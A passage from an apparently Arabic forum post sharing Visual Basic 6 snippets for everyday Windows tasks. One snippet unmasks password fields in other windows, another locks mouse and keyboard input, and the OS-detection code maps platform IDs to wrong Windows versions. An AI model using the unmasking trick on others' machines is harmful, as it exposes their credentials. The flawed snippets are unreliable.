(-obj3dObject.WorldCoord(lngIncr).Y * VPC * ASPECT_COMP / obj3dObject.WorldCoord(lngIncr).Z) + HALF_SCREEN_HEIGHT Next End Sub Public Sub RenderObject() Dim lngIncr As Long Dim ScreenBuffer(0 To 2) As POINTAPI Dim Brush As Long Dim Pen As Long Dim OldBrush As Long Dim OldPen As Lon
معرفة اسم اليوم الحالي
معرفة ما هو الشهر الحالي
تحديد حالة الاتصال بإنترنت
معرفة الوقت الذي مضى على تشغيل الويندوز بالدقيقة
لإنشاء Command Button و Text Box بواسطة الكو
لمعرفة مسار مجلدي windows، وsystem، ومعرفة اسم المستخدم
لتغيير دقة عرض الشاشة
لعمل تأثير صهر الشاشة
لإيقاف الماوس ولوحة المفاتيح عن العمل لمدة معينة
لترجمة النجوم *** في كلمات السر إلى حروف عادية
لرسم دوائر ملونة رائعة جداً باستخدام الماوس
كود بسيط لجعل الفورم في المقدمة
وان شاء الله اكون عملت اي شي لعيونك عبد الله الرويلي وان شاء الله الشباب يستفيدون
والي يستفيد يقيمني ويقيم اي واحد يضيف اكواد
كود:
Private Sub Command1_Click()
Dim Dday As Integer
Dday = Weekday(Date)
If Dday = 1 Then Print "الأحد"
If Dday = 2 Then Print "الاثنين"
If Dday = 3 Then Print "الثلاثاء"
If Dday = 4 Then Print "الأربعاء"
If Dday = 5 Then Print "الخميس"
If Dday = 6 Then Print "الجمعة"
If Dday = 7 Then Print "السبت"
End Sub
كود:
Private Sub Command1_Click()
Mmonth = Mid(Date, 4, 2)
Label1 = MonthName(Mmonth)
End Sub
كود:
'هذا الكود يوضع في Moudle
Public Declare Function RasEnumConnections Lib "RasApi32.dll" Alias _
"RasEnumConnectionsA" (lpRasCon As Any, lpcb As Long, _
lpcConnections As Long) As Long
Public Declare Function RasGetConnectStatus Lib "RasApi32.dll" Alias _
"RasGetConnectStatusA" (ByVal hRasCon As Long, lpStatus As Any) As Long
Public Const RAS95_MaxEntryName = 256
Public Const RAS95_MaxDeviceType = 16
Public Const RAS95_MaxDeviceName = 32
Public Type RASCONN95
dwSize As Long
hRasCon As Long
szEntryName(RAS95_MaxEntryName) As Byte
szDeviceType(RAS95_MaxDeviceType) As Byte
szDeviceName(RAS95_MaxDeviceName) As Byte
End Type
Public Type RASCONNSTATUS95
dwSize As Long
RasConnState As Long
dwError As Long
szDeviceType(RAS95_MaxDeviceType) As Byte
szDeviceName(RAS95_MaxDeviceName) As Byte
End Type
'هذا الكود يوضع في Form
Public Function IsConnected() As Boolean
Dim TRasCon(255) As RASCONN95
Dim lg As Long
Dim lpcon As Long
Dim RetVal As Long
Dim Tstatus As RASCONNSTATUS95
TRasCon(0).dwSize = 412
lg = 256 * TRasCon(0).dwSize
RetVal = RasEnumConnections(TRasCon(0), lg, lpcon)
If RetVal <> 0 Then
MsgBox "ERROR"
Exit Function
End If
Tstatus.dwSize = 160
RetVal = RasGetConnectStatus(TRasCon(0).hRasCon, Tstatus)
If Tstatus.RasConnState = &H2000 Then
IsConnected = True
Else
IsConnected = False
End If
End Function
Private Sub Command1_Click()
If IsConnected() = True Then
MsgBox ("الجهاز متصل بالانترنت")
Else
MsgBox ("الجهاز غير متصل بالانترنت")
End If
End Sub
كود:
Private Declare Function GetTickCount Lib "Kernel32" () As Long
Private Sub Command1_Click()
Print Format(GetTickCount / 10000 / 6, "0")
End Sub
كود:
Option Explicit
Private WithEvents btnObj As CommandButton
Private WithEvents txtObj As TextBox
Private Sub btnObj_Click()
On Error Resume Next
Set txtObj = Controls.Add("VB.textbox", "txtObj")
With txtObj
.Visible = True
.RightToLeft = True
.Alignment = 2
.Width = 2000
.Text = "السلام عليكم"
.Top = 2000
.Left = 1000
End With
End Sub
Private Sub Form_Load()
Set btnObj = Controls.Add("VB.CommandButton", "btnObj")
With btnObj
.Visible = True
.Width = 2000
.Caption = "Click"
.Top = 1000
.Left = 1000
End With
End Sub
كود:
Option Explicit
Private Declare Function GetWindowsDirectory Lib "kernel32" Alias _
"GetWindowsDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long
Private Declare Function GetSystemDirectory Lib "kernel32" Alias _
"GetSystemDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long
Private Declare Function GetUserName Lib "advapi32.dll" Alias "GetUserNameA" ( _
ByVal lpBuffer As String, nSize As Long) As Long
Private Sub Form_Load()
Dim W
Dim WindowsD As String
WindowsD = Space(144)
W = GetWindowsDirectory(WindowsD, 144)
Text1.Text = WindowsD
Dim S
Dim SystemD As String
SystemD = Space(144)
S = GetSystemDirectory(SystemD, 144)
Text2.Text = SystemD
Dim N
Dim UserN As String
UserN = Space(144)
N = GetUserName(UserN, 144)
Text3.Text = UserN
End Sub
كود:
'ضع هذا الكود في Moudel
Public Const EWX_LOGOFF = 0
Public Const EWX_SHUTDOWN = 1
Public Const EWX_REBOOT = 2
Public Const EWX_FORCE = 4
Public Const CCDEVICENAME = 32
Public Const CCFORMNAME = 32
Public Const DM_BITSPERPEL = &H40000
Public Const DM_PELSWIDTH = &H80000
Public Const DM_PELSHEIGHT = &H100000
Public Const CDS_UPDATEREGISTRY = &H1
Public Const CDS_TEST = &H4
Public Const DISP_CHANGE_SUCCESSFUL = 0
Public Const DISP_CHANGE_RESTART = 1
Type typDevMODE
dmDeviceName As String * CCDEVICENAME
dmSpecVersion As Integer
dmDriverVersion As Integer
dmSize As Integer
dmDriverExtra As Integer
dmFields As Long
dmOrientation As Integer
dmPaperSize As Integer
dmPaperLength As Integer
dmPaperWidth As Integer
dmScale As Integer
dmCopies As Integer
dmDefaultSource As Integer
dmPrintQuality As Integer
dmColor As Integer
dmDuplex As Integer
dmYResolution As Integer
dmTTOption As Integer
dmCollate As Integer
dmFormName As String * CCFORMNAME
dmUnusedPadding As Integer
dmBitsPerPel As Integer
dmPelsWidth As Long
dmPelsHeight As Long
dmDisplayFlags As Long
dmDisplayFrequency As Long
End Type
Declare Function EnumDisplaySettings Lib "user32" Alias "EnumDisplaySettingsA" ( _
ByVal lpszDeviceName As Long, ByVal iModeNum As Long, _
lptypDevMode As Any) As Boolean
Declare Function ChangeDisplaySettings Lib "user32" Alias _
"ChangeDisplaySettingsA" (lptypDevMode As Any, ByVal dwFlags As Long) As Long
Declare Function ExitWindowsEx Lib "user32" (ByVal uFlags As Long, _
ByVal dwReserved As Long) As Long
'ضع هذا الكود في Form
Private Sub Command1_Click()
Dim typDevM As typDevMODE
Dim lngResult As Long
Dim intAns As Integer
lngResult = EnumDisplaySettings(0, 0, typDevM)
With typDevM
.dmFields = DM_PELSWIDTH Or DM_PELSHEIGHT
.dmPelsWidth = 640 'اختر العرض (640,800,1024, etc)
.dmPelsHeight = 480 'اختر الطول (480,600,768, etc)
End With
lngResult = ChangeDisplaySettings(typDevM, CDS_TEST)
Select Case lngResult
Case DISP_CHANGE_RESTART
intAns = MsgBox( _
"You must restart your computer to apply these changes." & vbCrLf & _
vbCrLf & "Do you want to restart now?", vbYesNo + vbSystemModal, _
"Screen Resolution")
If intAns = vbYes Then Call ExitWindowsEx(EWX_REBOOT, 0)
Case DISP_CHANGE_SUCCESSFUL
Call ChangeDisplaySettings(typDevM, CDS_UPDATEREGISTRY)
MsgBox "Screen resolution changed", vbInformation, _
"Resolution Changed"
Case Else
MsgBox "Mode not supported", vbSystemModal, "Error"
End Select
End Sub
كود:
Private Declare Function GetDC Lib "user32" (ByVal hwnd As Long) As Long
Private Declare Function BitBlt Lib "gdi32" (ByVal hDestDC As Long, ByVal X As Long, ByVal Y As Long, ByVal nWidth As Long, ByVal nHeight As Long, ByVal hSrcDC As Long, ByVal xSrc As Long, ByVal ySrc As Long, ByVal dwRop As Long) As Long
Private Sub Form_KeyDown(KeyCode As Integer, Shift As Integer)
If KeyCode = vbKeyEscape Then Unload Me
End Sub
Private Sub Form_Load()
Dim lngDC As Long
Dim intWidth As Integer, intHeight As Integer
Dim intX As Integer, intY As Integer
lngDC = GetDC(0)
intWidth = Screen.Width / Screen.TwipsPerPixelX
intHeight = Screen.Height / Screen.TwipsPerPixelY
Form1.Width = intWidth * 15
Form1.Height = intHeight * 15
Call BitBlt(hdc, 0, 0, intWidth, intHeight, lngDC, 0, 0, vbSrcCopy)
Form1.Visible = vbTrue
Do
intX = (intWidth - 128) * Rnd
intY = (intHeight - 128) * Rnd
Call BitBlt(lngDC, intX, intY + 1, 128, 128, lngDC, intX, intY, _
vbSrcCopy)
DoEvents
Loop
End Sub
Private Sub Form_Unload(Cancel As Integer)
Set Form1 = Nothing
InvalidateRect 0&, 0&, False
End
End Sub
كود:
Private Declare Function BlockInput Lib "user32" (ByVal fBlock As Long) As Long
Private Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long)
Private Sub Form_Activate()
DoEvents
BlockInput True
Sleep 1000
BlockInput False
End Sub
كود:
Private Declare Function WindowFromPoint Lib "user32" (ByVal xPoint As Long, _
ByVal yPoint As Long) As Long
Private Declare Function GetCursorPos Lib "user32" (lpPoint As POINTAPI) As Long
Private Type POINTAPI
x As Long
y As Long
End Type
Private Declare Function SendMessage Lib "user32" Alias "SendMessageA" ( _
ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, _
lParam As Any) As Long
Private Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long)
Private Sub Timer1_Timer()
Const EM_SETPASSWORDCHAR = &HCC
Dim coord As POINTAPI
s = GetCursorPos(coord)
x = coord.x
y = coord.y
H = WindowFromPoint(x, y)
Dim NewChar As Integer
NewChar = CLng(0)
RetVal = SendMessage(H, EM_SETPASSWORDCHAR, ByVal NewChar, 0)
End Sub
كود:
Private Sub Command1_Click()
Form1.Cls
End Sub
Private Sub Form_MouseMove(Button As Integer, Shift As Integer, X As Single, _
Y As Single)
Dim i As Integer
i = Rnd * 15
If Button = 1 Then
Me.Circle (X, Y), 200, QBColor(i)
End If
End Sub
كود:
Private Declare Sub SetWindowPos Lib "user32" (ByVal hwnd As Long, _
ByVal hWndInsertAfter As Long, ByVal X As Long, ByVal Y As Long, _
ByVal cx As Long, ByVal cy As Long, ByVal wFlags As Long)
Private Sub Form_Load()
Timer1.Interval = 1
End Sub
Private Sub Timer1_Timer()
SetWindowPos Form1.hwnd, -1, 0, 0, 0, 0, 3
End Sub
والي يستفيد يقيمني ويقيم اي واحد يضيف اكواد
واقدم اكواد تانية
جعل برنامجك لا يعمل على نظام تشغيل معين
جعل الأدوات تتأثر بسمات الإكس بي
التعامل مع الحافظة (نسخ - لصق)
كيفية تشفير النصوص واستعادتها مرة اخرى
توليد فورم من داخل برنامجك
عمل مؤثرات على الفورم
لوضع البرنامج داخل صينية المهام
إظهار معلومات القرص المحدد
إيقاف البرنامج لفترة معينة
إضافة نص في موضع معين من نص آخر
معرفة ما إذا كان البرنامج يعمل بالفعل أم لا
عمل البرنامج مع بدأ تشغيل الويندوز
جعل برنامجك لا يعمل على نظام تشغيل معين
كود:
Private Declare Function GetVersionEx Lib "kernel32" Alias "GetVersionExA" (lpVersionInformation As OSVERSIONINFO) As Long
Private Type OSVERSIONINFO
dwOSVersionInfoSize As Long
dwMajorVersion As Long
dwMinorVersion As Long
dwBuildNumber As Long
dwPlatformId As Long
szCSDVersion As String * 128
End Type
Private Sub Form_Load()
Dim OSInfo As OSVERSIONINFO, PId As String
Me.AutoRedraw = True
'تحديد حجم البنية
OSInfo.dwOSVersionInfoSize = Len(OSInfo)
'إصدار الويندوز المستخدم
Ret& = GetVersionEx(OSInfo)
'رسالة عند وجود خطأ فى جلب المعلومات
If Ret& = 0 Then MsgBox "خطأ فى جلب معلومات الجهاز", _
vbCritical + vbMsgBoxRight, "خطأ": Exit Sub
'اختيار النظام المتواجد ثم كتابة المعلومات فى مربعات النص
Select Case OSInfo.dwPlatformId
'برجاء عدم تغير هذا الترتيب للاهمية
Case 0
PId = "Windows 32s "
Case 1
PId = "Windows Millennium Edition"
Case 2
PId = "Microsoft Windows XP Professional"
Case 3
PId = "Microsoft Windows 98 Professional"
Case 4
PId = "Microsoft Windows NT"
Case 5
PId = "Microsoft Windows 2000 Professional"
End Select
'اسم النظام الموجود على الجهاز
Text1.Text = PId
'رقم الاصدار
Text2.Text = Str$(OSInfo.dwMajorVersion) + "." + LTrim(Str( _
OSInfo.dwMinorVersion))
' حجم البنية المستخدمة
Text3.Text = Str(OSInfo.dwBuildNumber)
'================================================
'هذا الكود خاص ببرنامج الذى تود عدم تشغيلة على نظام معين
'المقصود من الرقم 3 هو الاصدار الموجود على جهاز المستخدم
'وهو يشير الى اصدار ويندوز 98
'وتستطيع تغير الرقم لحالة الويندوز الموجود على جهازك لكى تجرب الكود
If GetVersionEx(OSInfo) = 3 Then
' الرسالة التى ستظهر عند وجود الاصدار المطلوب عدم تشغيل البرنامج علية
MsgBox "!! هذا البرنامج غير متوافق مع هذا الاصدار ", _
vbOKOnly + vbMsgBoxRight + vbCritical, "تنبية"
'غلق البرنامج
Unload Me
End If
End Sub
كود:
Private Declare Function InitCommonControls Lib "comctl32.dll" () As Long
Private Sub Form_Initialize()
InitCommonControls ' ضع هذا الكود فى حدث
End Sub
كود:
'اضف 5 زر امر
' اضف 3 مربعات نص
Private Sub Command1_Click()
Dim Edafah As String
If Text2 = Empty Then MsgBox "اكتب نصا في الصندوق", , "صندوق النص": Text2.SetFocus: Exit Sub
Edafah = Clipboard.GetText
Edafah = Edafah & " " & Text2.Text
Clipboard.SetText Edafah
Command1.Enabled = False: Text2.Enabled = False: Command3.Enabled = True
MsgBox "تم إضافة النص الجديد", vbInformation, "شكرا لك"
End Sub
Private Sub Command2_Click()
Dim Nskh As String
If Text1 = Empty Then MsgBox "اكتب نصا في الصندوق", , "صندوق النص": Text1.SetFocus: Exit Sub
Clipboard.Clear
Nskh = Nskh & Text1.Text
Clipboard.SetText Nskh
Command1.Enabled = True: Text2.Enabled = True: Text1.Enabled = False: Command2.Enabled = False
MsgBox "تم نسخ النص إلى الحافظة", vbInformation, "شكرا لك"
End Sub
Private Sub Command3_Click()
Text3.Text = Clipboard.GetText: Command3.Enabled = False: Command5.Enabled = True
End Sub
Private Sub Command4_Click()
Unload Me: Set Form1 = Nothing
End Sub
Private Sub Command5_Click()
Text1 = "": Text2 = "": Text3 = "": Command5.Enabled = False
Command2.Enabled = True: Text1.Enabled = True: Text1.SetFocus
End Sub
كود:
Public Function Encode(Data As String, Optional Depth As Integer) As String
Dim TempChar As String
Dim TempAsc As Integer
Dim NewData As String
Dim vChar As Integer
For vChar = 1 To Len(Data)
TempChar = Mid$(Data, vChar, 1)
TempAsc = Asc(TempChar)
If Depth = 0 Then Depth = 40 'DEFAULT DEPTH
If Depth > 254 Then Depth = 254
TempAsc = TempAsc + Depth
If TempAsc > 255 Then TempAsc = TempAsc - 255
TempChar = Chr(TempAsc)
NewData = NewData & TempChar
Next vChar
Encode = NewData
End Function
Public Function Decode(Data As String, Optional Depth As Integer) As String
Dim TempChar As String
Dim TempAsc As Integer
Dim NewData As String
Dim vChar As Integer
For vChar = 1 To Len(Data)
TempChar = Mid$(Data, vChar, 1)
TempAsc = Asc(TempChar)
If Depth = 0 Then Depth = 40 'DEFAULT DEPTH
If Depth > 254 Then Depth = 254
TempAsc = TempAsc - Depth
If TempAsc < 0 Then TempAsc = TempAsc + 255
TempChar = Chr(TempAsc)
NewData = NewData & TempChar
Next vChar
Decode = NewData
End Function
Private Sub Command1_Click()
Open App.Path & "\a.txt" For Input As #1
txtEnc = Input$(LOF(1), 1)
txtEnc.Text = Decode(txtEnc.Text, CInt(txtDepth.Text))
Close
End Sub
Private Sub Command2_Click()
Open App.Path & "\b.txt" For Append As #1
Print #1, Encode(txtEnc.Text, CInt(txtDepth.Text))
Close #1
End Sub
Private Sub Command3_Click()
txtEnc.Text = ""
End Sub
Private Sub Command7_Click()
Unload Me
End
End Sub
كود:
Private Sub Command1_Click()
Dim Form As New frm
Load Form
Form.Visible = True
'-----------------------
'جميع الاحداث المرتبطة بذلك
Form.Command1.Enabled = False
Form.Text1.Enabled = False
Form.Text1.Text = "شبكة الحسام للبرمجيات"
Form.Command1.Caption = "arafa"
Form.Caption = "arafa"
Form.MousePointer = 2
End Sub
كود:
'The current color posistion
Dim FadeNumPos As Integer
'The First RGB Values
Dim R1 As Integer, G1 As Integer, B1 As Integer
'The Second RGB Values
Dim R2 As Integer, G2 As Integer, B2 As Integer
'These are the RGB values for the curren
' t line
Dim NewRed As Integer, NewGreen As Integer, NewBlue As Integer
'Easier than an array to store a color
Public FadeColors As New Collection
'The Difference
Dim OverAllDiff
'This is the long value for the line col
' or
Dim NewColor
'Gets the colors ready to draw the line
'Then calls on the effect sub to make th
' e gradient
Public Function Gradeffect(Target As Object, style As Integer)
'Clear the object
Target.Cls
'Get the fade count
FadeTimes = FadeColors.Count - 1
'Set the draw width for the line
Target.DrawWidth = 1
'Want auto redraw
Target.AutoRedraw = True
'Don't Modify these. Won't work without
' them
Target.ScaleWidth = 255 'No modifying
Target.ScaleHeight = Target.ScaleWidth 'No modifying
'do each color
For FadeNumPos = 1 To FadeTimes
'Set the Start values
R1 = R2
G1 = G2
B1 = B2
'Set the Start values for the first colo
' r
If FadeNumPos = 1 Then
R1 = FadeColors(1) Mod &H100
G1 = (FadeColors(1) \ &H100) Mod &H100
B1 = (FadeColors(1) \ &H10000) Mod &H100
End If
'Set the End values
R2 = FadeColors(FadeNumPos + 1) Mod &H100
G2 = (FadeColors(FadeNumPos + 1) \ &H100) Mod &H100
B2 = (FadeColors(FadeNumPos + 1) \ &H10000) Mod &H100
'Get the differences
RedDiff = (R1 - R2) / Target.ScaleHeight * FadeTimes
GreenDiff = (G1 - G2) / Target.ScaleHeight * FadeTimes
BlueDiff = (B1 - B2) / Target.ScaleHeight * FadeTimes
'For each line
For OverAllDiff = ((FadeNumPos - 1) * Target.ScaleWidth / FadeTimes) To (FadeNumPos * Target.ScaleHeight / FadeTimes)
'Get the new RGB values
NewRed = R1 - RedDiff * (OverAllDiff - ((FadeNumPos - 1) * Target.ScaleWidth / FadeTimes))
NewGreen = G1 - GreenDiff * (OverAllDiff - ((FadeNumPos - 1) * Target.ScaleWidth / FadeTimes))
NewBlue = B1 - BlueDiff * (OverAllDiff - ((FadeNumPos - 1) * Target.ScaleWidth / FadeTimes))
'Set the color
NewColor = RGB(NewRed, NewGreen, NewBlue)
'Do the effect
Effect Target, style
'Next Line
Next
'Next color
Next
'Done here
End Function
'The effect
Function Effect(Target As Object, kind As Integer)
'There are 36 different gradients. Try t
' hem all
Select Case kind
'Clockwork Down - Cool and New
Case 1
Target.Line (OverAllDiff + 1, Target.ScaleHeight)-(Target.ScaleWidth - OverAllDiff, OverAllDiff), NewColor, BF
'Clockwork Left - Cool and new!
Case 2
Target.Line (0, Target.ScaleWidth - OverAllDiff)-(Target.ScaleWidth - OverAllDiff, OverAllDiff), NewColor, BF
'Clockwork Up - Cool and new
Case 3
Target.Line (OverAllDiff, Target.ScaleHeight - OverAllDiff)-(Target.ScaleHeight, 0), NewColor, BF
'Clockwork Right
Case 4
Target.Line (OverAllDiff, Target.ScaleHeight - OverAllDiff)-(Target.ScaleHeight, OverAllDiff), NewColor, BF
'Right to Left
Case 5
Target.Line (Target.ScaleWidth - OverAllDiff, 0)-(Target.ScaleWidth - OverAllDiff, Target.ScaleHeight - 20), NewColor, BF
'Left to Right
Case 6
Target.Line (OverAllDiff, 0)-(OverAllDiff + 1, Target.ScaleWidth), NewColor, BF
'Fade Out from bottom right
Case 7
Target.Line (0, Target.ScaleHeight - OverAllDiff)-(Target.ScaleWidth, Target.ScaleHeight - (OverAllDiff + 1)), NewColor, BF
Target.Line (Target.ScaleWidth - OverAllDiff, 0)-(Target.ScaleWidth - (OverAllDiff + 1), Target.ScaleHeight), NewColor, BF
'Fade Out from bottom left
Case 8
Target.Line (0, Target.ScaleHeight - OverAllDiff)-(Target.ScaleWidth, Target.ScaleHeight - (OverAllDiff + 1)), NewColor, BF
Target.Line (OverAllDiff, 0)-(OverAllDiff + 1, Target.ScaleHeight), NewColor, BF
'Fade Out from top left
Case 9
Target.Line (0, OverAllDiff)-(Target.ScaleWidth, OverAllDiff + 1), NewColor, BF
Target.Line (OverAllDiff, 0)-(OverAllDiff + 1, Target.ScaleHeight), NewColor, BF
'Fade Out from top right
Case 10
Target.Line (0, OverAllDiff)-(Target.ScaleWidth, OverAllDiff + 1), NewColor, BF
Target.Line (Target.ScaleWidth - OverAllDiff, 0)-(Target.ScaleWidth - OverAllDiff, Target.ScaleHeight - 20), NewColor, BF
'Fade Out from center
Case 11
Target.Line (Int(Target.ScaleWidth / 2 - OverAllDiff / 2), Int(Target.ScaleHeight / 2 - OverAllDiff / 2))-(Target.ScaleWidth / 2 + OverAllDiff / 2, Target.ScaleHeight / 2 + OverAllDiff / 2), NewColor, B
'Fade In from bottom right
Case 12
Target.Line (OverAllDiff, Target.ScaleWidth)-(Target.ScaleWidph, OverAllDiff + 1), NewColor, BF
'Fade In from bottom left
Case 13
Target.Line (0, Target.ScaleHeight)-(Target.ScaleWidth - OverAllDiff, OverAllDiff), NewColor, BF
'Fade In from top left
Case 14
Target.Line (0, 0)-(Target.ScaleWidth - OverAllDiff, Target.ScaleHeight - OverAllDiff), NewColor, BF
'Fade In from top right
Case 15
Target.Line (Target.ScaleWidth, 0)-(OverAllDiff, Target.ScaleHeight - OverAllDiff), NewColor, BF
'Boxes 1
Case 16
Target.Line (Target.ScaleWidth, 0)-(OverAllDiff, Target.ScaleHeight - OverAllDiff), NewColor, BF
Target.Line (0, Target.ScaleHeight)-(Target.ScaleWidth - OverAllDiff, OverAllDiff), NewColor, BF
'Boxes 2
Case 17
Target.Line (Target.ScaleWidth, 0)-(OverAllDiff, Target.ScaleHeight - OverAllDiff), NewColor, BF
Target.Line (OverAllDiff, Target.ScaleWidth)-(Target.ScaleWidth, OverAllDiff + 1), NewColor, BF
'Boxes 3
Case 18
Target.Line (Target.ScaleWidth, 0)-(OverAllDiff, Target.ScaleHeight - OverAllDiff), NewColor, BF
Target.Line (0, Target.ScaleHeight)-(Target.ScaleWidth - OverAllDiff, OverAllDiff), NewColor, BF
Target.Line (OverAllDiff, Target.ScaleWidth)-(Target.ScaleWidth, OverAllDiff + 1), NewColor, BF
'Boxes 4
Case 19
Target.Line (0, Target.ScaleHeight)-(Target.ScaleWidth - OverAllDiff, OverAllDiff), NewColor, BF
Target.Line (OverAllDiff, Target.ScaleWidth)-(Target.ScaleWidth, OverAllDiff + 1), NewColor, BF
'Boxes 5
Case 20
Target.Line (Target.ScaleWidth, 0)-(OverAllDiff, Target.ScaleHeight - OverAllDiff), NewColor, BF
Target.Line (0, 0)-(Target.ScaleWidth - OverAllDiff, Target.ScaleHeight - OverAllDiff), NewColor, BF
'Boxes 6
Case 21
Target.Line (0, Target.ScaleHeight)-(Target.ScaleWidth - OverAllDiff, OverAllDiff), NewColor, BF
Target.Line (0, 0)-(Target.ScaleWidth - OverAllDiff, Target.ScaleHeight - OverAllDiff), NewColor, BF
'Boxes 7
Case 22
Target.Line (OverAllDiff, Target.ScaleWidth)-(Target.ScaleWidth, OverAllDiff + 1), NewColor, BF
Target.Line (0, 0)-(Target.ScaleWidth - OverAllDiff, Target.ScaleHeight - OverAllDiff), NewColor, BF
'Boxes 8
Case 23
Target.Line (0, 0)-(Target.ScaleWidth - OverAllDiff, Target.ScaleHeight - OverAllDiff), NewColor, BF
Target.Line (Target.ScaleWidth, 0)-(OverAllDiff, Target.ScaleHeight - OverAllDiff), NewColor, BF
Target.Line (0, Target.ScaleHeight)-(Target.ScaleWidth - OverAllDiff, OverAllDiff), NewColor, BF
Target.Line (OverAllDiff, Target.ScaleWidth)-(Target.ScaleWidth, OverAllDiff + 1), NewColor, BF
'Top to Bottom
Case 24
Target.Line (0, OverAllDiff)-(Target.ScaleWidth, OverAllDiff + 1), NewColor, BF
'Bottom to Top
Case 25
Target.Line (0, 0)-(Target.ScaleWidth, Target.ScaleHeight - OverAllDiff), NewColor, BF
'Refraction
Case 26
Target.Line (Target.ScaleWidth - OverAllDiff, OverAllDiff)-(Target.ScaleWidth - OverAllDiff, Target.ScaleHeight), NewColor, BF
Target.Line (OverAllDiff, Target.ScaleHeight - OverAllDiff)-(Target.ScaleHeight, OverAllDiff), NewColor, BF
'Line through middle
Case 27
Target.Line ((Target.ScaleWidth / 2) - (OverAllDiff / 2), 0)-((Target.ScaleWidth / 2) - (OverAllDiff / 2), Target.ScaleHeight), NewColor, BF
Target.Line ((Target.ScaleWidth / 2) + (OverAllDiff / 2), 0)-((Target.ScaleWidth / 2) + (OverAllDiff / 2), Target.ScaleHeight), NewColor, BF
'Exploded
Case 28
Target.Line (Target.ScaleWidth, OverAllDiff / 2)-(OverAllDiff, Target.ScaleHeight - OverAllDiff), NewColor, BF
Target.Line (0, Target.ScaleHeight)-(Target.ScaleWidth - OverAllDiff, OverAllDiff), NewColor, BF
'Pouring
Case 29
Target.Line (Target.ScaleWidth, 0)-(OverAllDiff, Target.ScaleHeight), NewColor, BF
Target.Line (0, Target.ScaleHeight)-(Target.ScaleWidth - OverAllDiff, OverAllDiff), NewColor, BF
'lighthouse
Case 30
Target.Line (Target.ScaleWidth, OverAllDiff / 2)-(OverAllDiff, Target.ScaleHeight - OverAllDiff), NewColor, BF
'Square
Case 31
Target.Line (OverAllDiff / 2, Target.ScaleWidth)-(Target.ScaleWidth, OverAllDiff + 1), NewColor, BF
'Ripped
Case 32
Target.Line ((Target.ScaleHeight * OverAllDiff), OverAllDiff)-(OverAllDiff, Target.ScaleWidth + OverAllDiff), NewColor, BF
'Prism
Case 33
Target.Line (Target.ScaleWidth - OverAllDiff, OverAllDiff)-(Target.ScaleWidth - OverAllDiff, Target.ScaleHeight), NewColor, BF
Target.Line (OverAllDiff, Target.ScaleHeight - OverAllDiff)-(Target.ScaleHeight - OverAllDiff, 0), NewColor, BF
'Top left to bottom right
Case 34
Target.Line (0, OverAllDiff * 2)-(OverAllDiff * 2, 0), NewColor
'Fade to center from top right and botto
' m left
Case 35
Target.AutoRedraw = False
Target.Line (0, Target.ScaleHeight - OverAllDiff)-(OverAllDiff, Target.ScaleHeight), NewColor
Target.Line (Target.ScaleWidth - OverAllDiff, 0)-(Target.ScaleWidth, OverAllDiff), NewColor
'Fade to center from top left and bottom
' right
Case 36
Target.Line (Target.ScaleWidth, Target.ScaleHeight - OverAllDiff)-(Target.ScaleWidth - OverAllDiff, Target.ScaleHeight), NewColor
Target.Line (0, OverAllDiff)-(OverAllDiff, 0), NewColor
'Wow I'm finally done!
End Select
End Function
Function nolic(Target As Object)
Target.FontSize = 10
Target.ForeColor = vbBlack
Target.CurrentY = 0
Target.CurrentX = 2
Target.Print "Created With a SpiderTek Product"
Target.ForeColor = vbWhite
Target.CurrentY = 0
Target.CurrentX = 3
Target.Print "Created With a SpiderTek Product"
End Function
Private Sub Form_Click()
Static x As Integer
If x = 36 Then x = 0
x = x + 1
Gradeffect Me, x
Me.CurrentY = 200
Me.CurrentX = 3
Me.Print "You are at """ & x & """ of 36 total effects."
nolic Me
End Sub
Private Sub Form_Load()
FadeColors.Add vbBlack
FadeColors.Add vbRed
FadeColors.Add vbYellow
FadeColors.Add vbWhite
Gradeffect Me, 1
End Sub
Private Sub Form_Resize()
Gradeffect Me, 1
End Sub
كود:
'ضع هذا الكود في ملف Modules Option Explicit 'تعريف الدالة Declare Function ****l_notifyicon Lib "****l32.dll" Alias _ "****l_NotifyIconA" (ByVal dwMessage As Long, lpData As NOTIFYICONDATA) As Long Public Const WM_LBUTTONDBLCLK = &H203 Public Const WM_MBUTTONDBLCLK = &H209 Public Const WM_MBUTTONDOWN = &H207 Public Const WM_LBUTTONUP = &H202 Public Const WM_LBUTTONDOWN = &H201 Public Const WM_RBUTTONDBLCLK = &H206 Public Const WM_RBUTTONDOWN = &H204 Public Const WM_RBUTTONUP = &H205 Public Const WM_MOUSEMOVE = &H200 Public Const NIF_ICON = &H2 Public Const WM_COMMNOTIFY = &H44 Public Const NIF_MESSAGE = &H1 Public Const NIF_TIP = &H4 Public Const NIM_ADD = &H0 Public Const NIM_DELETE = &H2 Public Const MAX_TOOLTIP As Integer = 64 Type NOTIFYICONDATA cbsize As Long hwind As Long uID As Long uFlags As Long uCallbackMessage As Long hIcon As Long szTip As String * MAX_TOOLTIP End Type ' ضع هذا الكود في ملف تموذج Dim nfIconData As NOTIFYICONDATA Private Sub Form_Load() 'سيتم اضافة الصورة في صينية النظام With nfIconData 'مقبض النافذة لتقبل الاحداث .hwind = Form1.hWnd 'الايقونة التي سوف تضع .uID = Form1.Icon 'اعطاء الثوابت للاظهار .uFlags = NIF_ICON Or NIF_MESSAGE Or NIF_TIP 'تتبع احداث الفارة في حدث التحرك للفارة .uCallbackMessage = WM_MOUSEMOVE 'مقبض الايقون .hIcon = Form1.Icon.Handle 'النص المنبثق الذي سيطهر عند توقف المؤشر .szTip = "برنامج صينية النظام" & Chr$(0) .cbsize = Len(nfIconData) End With 'استدعاء الدالة Call ****l_notifyicon(NIM_ADD, nfIconData) End Sub Private Sub Form_MouseMove(Button As Integer, Shift As Integer, X As Single, Y As Single) 'سيتم تتبع احداث الفارة هنا Select Case (X \ Screen.TwipsPerPixelX) 'عند تحرك الفارة فوقها Case &H200 'Caption = Val(Caption) + 1 'عند النقر عليها بالفارة Case &H203 Me.Visible = True Me.WindowState = vbNormal 'النقر بالزر الايمن Case &H205 PopupMenu Mnu_File End Select End Sub Private Sub Form_Resize() If WindowState = vbMinimized Then Me.Visible = False End Sub Private Sub Form_Unload(Cancel As Integer) 'تنظيف المقابض بعد الاغق واخفاء الايقونة Call ****l_notifyicon(NIM_DELETE, nfIconData) End Sub Private Sub Mnu_File_Close_Click() Unload Me End Sub Private Sub 